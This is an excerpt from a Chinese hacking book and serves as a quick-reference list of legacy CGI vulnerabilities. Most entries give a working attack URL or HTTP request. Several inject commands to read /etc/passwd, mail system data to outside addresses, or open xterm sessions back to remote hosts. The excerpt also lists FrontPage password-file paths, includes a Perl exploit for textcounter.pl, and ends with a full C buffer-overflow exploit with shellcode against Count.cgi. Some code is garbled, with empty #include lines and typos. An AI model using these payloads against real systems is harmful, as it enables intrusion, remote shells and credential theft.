黑客攻防技术内幕-安全防入侵与防病毒基础(10)
3.5 CGI及系统漏洞速查
● phf漏洞
漏洞介绍:phf漏洞是最经典了,可以通过浏览器执行服务器的命令来查找,如下 所示:
/etc/passwd
lynx http://server/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
● php.cgi 2.0beta10或更早版本的漏洞
漏洞介绍:可以读nobody权限的所有文件。
lynx http://server/cgi-bin/php.cgi?/etc/passwd
注意:
php.cgi 2.1版本的只能读shtml文件,但对于密码文件可能在/etc/master.passwd、/etc/security/passwd路径下。
● whois_raw.cgi
lynx http://server/cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd
lynx
http://server/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xterm%20-display%20graziella.lame.org:0
● faxsurvey
lynx http://www.victim.com/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
● textcounter.pl
漏洞介绍:如果服务器上有textcounter.pl,所有人可以以http守护进程的权限执行 命令。
#!/usr/bin/perl
$URL='http://dtp.kappa.ro/a/test.shtml'; # please _DO_ _modify_ this
$EMAIL='pdoru@pop3.kappa.ro,root'; # please _DO_ _modify_ this
if ($ARGV[0]) { $CMD=$ARGV[0];}else{
$CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothe
re_one";
}$text="${URL}/;IFS=\8;${CMD};echo|";$text =~ s/ /\$\{IFS\}/g;#print "$text\
n";
system({"wget"} "wget", $text, "-O/dev/null");
system({"wget"} "wget", $text, "-O/dev/null");
#system({"lynx"} "lynx", $text); #如果没有wget命令也可以用lynx
#system({"lynx"} "lynx", $text);
● 一些版本(1.1)的info2www的漏洞
$ REQUEST_METHOD=GET ./info2www '(../../../../../../../bin/mail jami asswd|)'
$
You have new mail.
$
● pfdispaly.cgi
lynx -source \
'http://www.victim.com/cgi-bin/pfdispaly.cgi?/../../../../etc/motd'
pfdisplay.cgi还有另外一个漏洞可以执行命令
lynx -dump http://www.victim.com/cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|'
or
lynx -dump \
http://victim/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evi
l:0.0|'
● wrap
lynx http://server/cgi-bin/wrap?/../../../../../etc
● www-sql
可以让入侵者读一些受限制的页面如:
在浏览器里输入:http://server/protected/something.html,入侵者就会被要求输入账号和口令,而有www-sql就不必了:
http://server/cgi-bin/www-sql/protected/something.html
● view-source
lynx http://server/cgi-bin/view-source?../../../../../../../etc/passwd
● campas
lynx http://www.victim.com/cgi-bin/campas?%0acat%0a/etc/passwd%0a
● webgais
telnet www.victim.com 80
POST /cgi-bin/webgais HTTP/1.0
Content-length: 85 (replace this with the actual length of the "exploit"line)
query=';mail+drazvan\@pop3.kappa.roparagraph
● websendmail
telnet www.victim.com 80
POST /cgi-bin/websendmail HTTP/1.0
Content-length: xxx (should be replaced with the actual length of thestring passed to the server, in this case xxx=90)
receiver=;mail+your_address\@somewhere.orgubject=a&content=a
● handler
telnet www.victim.com 80
GET /cgi-bin/handler/useless_shit;cat /etc/passwd|?data=DownloadHTTP/1.0
或:
GET /cgi-bin/handler/blah;xwsh -display yourhost.com|?data=Download
或:
GET /cgi-bin/handler/;xterm-displaydanish:0-e/bin/sh|?data=Download
注意:
cat后是Tab键而不是空格,服务器会报告不能打开useless_shit,但仍旧执行下面命令。
● test-cgi
lynx http://www.victim.com/cgi-bin/test-cgi?\whatever
CGI/1.0 test script report:
argc is 0. argv is .
SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = victim.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
REMOTE_HOST = xxxx.xxxx.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
得到一些http的目录:
lynx http://www.victim.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
有时可能也不管用,可尝试:
lynx http://www.victim.com/cgi-bin/nph-test-cgi?/*
还可以这样尝试:
GET /cgi-bin/test-cgi?* HTTP/1.0
GET /cgi-bin/test-cgi?x *
GET /cgi-bin/nph-test-cgi?* HTTP/1.0
GET /cgi-bin/nph-test-cgi?x *
GET /cgi-bin/test-cgi?x HTTP/1.0 *
GET /cgi-bin/nph-test-cgi?x HTTP/1.0 *
● 对于某些BSD的apache可以:
lynx http://server/root/etc/passwd
lynx http://server/~root/etc/passwd
● htmlscript
lynx http://server/cgi-bin/htmlscript?../../../../etc/passwd
● Frontpage extensions
如果读http://www.victim.com/_vti_inf.html将得到FP extensions的版本和它在服务器上的路径,还有一些密码文件,如:
http://server/_vti_pvt/service.pwd
http://server/_vti_pvt/users.pwd
http://server/_vti_pvt/authors.pwd
http://server/_vti_pvt/administrators.pwd
● Vulnerability in Glimpse HTTP
telnet target.machine.com 80
GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5fyodor\@dhp.com\MD;echo HTTP/1.0
● Count.cgi
该程序只对Count.cgi 24以下版本有效:
/*### count.c ########################################################*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
/* Forwards */
unsigned long getsp(int);
int usage(char *);
void doit(char *,long, char *);
/* Constants */
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0";
char endpad[]=
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
int main (int argc, char *argv[]){
char *shellcode = NULL;
int cnt,ver,retcount, dispnum,dotquads[4],offset;
unsigned long sp;
char dispname[255];
char *host;
offset = sp = cnt = ver = 0;
fprintf(stderr,"\t%s - Gus\n",argv[0]);
if (argc<3) usage(argv[0]);
while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) {
switch(cnt){
case 'h':
host = optarg;
break;
case 'd':
{
retcount = sscanf(optarg, "%d.%d.%d.%d:%d",
&dotquads[0],
&dotquads[1],
&dotquads[2],
dotquads[3], &dispnum);
if (retcount != 5) usage(argv[0]);
sprintf(dispname, "%03d.%03d.%03d.%03d:%01d",
dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);
shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));
sprintf(shellcode,"%s%s%s",shell,dispname,endpad);
}
break;
case 'v':
ver = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
sp = offset + getsp(ver);
(void)doit(host,sp,shellcode);
exit(0);
}
unsigned long getsp(int ver) {
/* Get the stack pointer we should be using. YMMV. If it does not work,
try using -o X, where x is between -1500 and 1500 */
unsigned long sp=0;
if (ver == 15) sp = 0xbfffea50;
if (ver == 20) sp = 0xbfffea50;
if (ver == 22) sp = 0xbfffeab4;
if (ver == 23) sp = 0xbfffee38; /* Dunno about this one */
if (sp == 0) {
fprintf(stderr,"I don't have an sp for that version try using the -o option.
\n");
fprintf(stderr,"Versions above 24 are patched for this bug.\n");
exit(1);
} else {
return sp;
}
}
int usage (char *name) {
fprintf(stderr,"\tUsage:%s -h host -d -v [-o ]\n
",name);
fprintf(stderr,"\te.g. %s -h www.foo.bar -d 127.0.0.1:0 -v 22\n",name);
exit(1);
}
int openhost (char *host, int port) {
int sock;
struct hostent *he;
struct sockaddr_in sa;
he = gethostbyname(host);
if (he == NULL) {
perror("Bad hostname\n");
exit(-1);
}
memcpy(&sa.sin_addr, he->h_addr, he->h_length);
sa.sin_port=htons(port);
sa.sin_family=AF_INET;
sock=socket(AF_INET,SOCK_STREAM,0);
if (sock < 0) {
perror ("cannot open socket");
exit(-1);
}
bzero(&sa.sin_zero,sizeof (sa.sin_zero));
if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) {
perror("cannot connect to host");
exit(-1);
}
return(sock);
}
void doit (char *host,long sp, char *shellcode) {
int cnt,sock;
char qs[7000];
int bufsize = 16;
char buf[bufsize];
char chain[] = "user=a";
bzero(buf);
for(cnt=0;cnt<4104;cnt+=4) {
qs[cnt+0] = sp & 0x000000ff;
qs[cnt+1] = (sp & 0x0000ff00) >> 8;
qs[cnt+2] = (sp & 0x00ff0000) >> 16;
qs[cnt+3] = (sp & 0xff000000) >> 24;
}
strcpy(qs,chain);
qs[strlen(chain)]=0x90;
qs[4104]= sp&0x000000ff;
qs[4105]=(sp&0x0000ff00)>>8;
qs[4106]=(sp&0x00ff0000)>>16;
qs[4107]=(sp&0xff000000)>>24;
qs[4108]= sp&0x000000ff;
qs[4109]=(sp&0x0000ff00)>>8;
qs[4110]=(sp&0x00ff0000)>>16;
qs[4111]=(sp&0xff000000)>>24;
qs[4112]= sp&0x000000ff;
qs[4113]=(sp&0x0000ff00)>>8;
qs[4114]=(sp&0x00ff0000)>>16;
qs[4115]=(sp&0xff000000)>>24;
qs[4116]= sp&0x000000ff;
qs[4117]=(sp&0x0000ff00)>>8;
qs[4118]=(sp&0x00ff0000)>>16;
qs[4119]=(sp&0xff000000)>>24;
qs[4120]= sp&0x000000ff;
qs[4121]=(sp&0x0000ff00)>>8;
qs[4122]=(sp&0x00ff0000)>>16;
qs[4123]=(sp&0xff000000)>>24;
qs[4124]= sp&0x000000ff;
qs[4125]=(sp&0x0000ff00)>>8;
qs[4126]=(sp&0x00ff0000)>>16;
qs[4127]=(sp&0xff000000)>>24;
qs[4128]= sp&0x000000ff;
qs[4129]=(sp&0x0000ff00)>>8;
qs[4130]=(sp&0x00ff0000)>>16;
qs[4131]=(sp&0xff000000)>>24;
strcpy((char*)&qs[4132],shellcode);
sock = openhost(host,80);
write(sock,"GET /cgi-bin/Count.cgi?",23);
write(sock,qs,strlen(qs));
write(sock," HTTP/1.0\n",10);
write(sock,"User-Agent: ",12);
rite(sock,qs,strlen(qs));
write(sock,"\n\n",2);
sleep(1);
/* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %s\n\n",qs,qs); *
/
/*
setenv("HTTP_USER_AGENT",qs,1);
setenv("QUERY_STRING",qs,1);
system("./Count.cgi");
*/
}